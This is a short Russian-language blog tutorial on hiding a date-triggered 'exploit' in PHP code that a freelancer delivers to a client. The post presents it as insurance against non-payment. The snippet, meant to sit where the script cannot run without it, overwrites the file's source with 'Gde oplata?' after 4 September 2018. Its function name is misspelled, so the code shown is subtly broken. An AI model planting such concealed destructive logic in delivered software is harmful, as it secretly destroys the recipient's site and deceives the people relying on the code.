Разрабатываем exploit
Сегодня мы разработаем exploit и интегрируем его в свою работу, чтобы защититься от мошенников на фрилансе. Часто бывает, что заказчик требует залить работу без предоплаты сразу на его хостинг. В этом случае рискуете именно вы, но если использовать exploit , то в львиной доле случаев можно себя обезопасить. Неважно во что вы собираетесь интегрировать exploit, будь то плагин WordPress, большой WEB-сайт или даже вёрстка.
В своей работе необходимо найти основной php файл, который вы защитите. Далее в исходном коде нужно найти точку ввода нашего эксплойта. Как правило, это место в коде, без которого сам скрипт работать не будет.
Exploit выглядит следующим образом:
// exploit
if( strtotime('04.09.2018') < time() )
{
file_put_content(__FILE__, 'Gde oplata?');
}
Это простейший вариант эксплойта, который только может быть. Данный код будет работать ровно до 4 сентября 2018 года. У заказчика до этого момента будет время, чтобы проверить вашу работу и соответственно произвести оплату.
Важно!
Если заказчик не успеет за отведенное время произвести оплату за работу, то есть кинет вас, тогда весь исходный код php файла будет удален, а вместо него встанет надпись «Gde oplata?».
Комментарии ()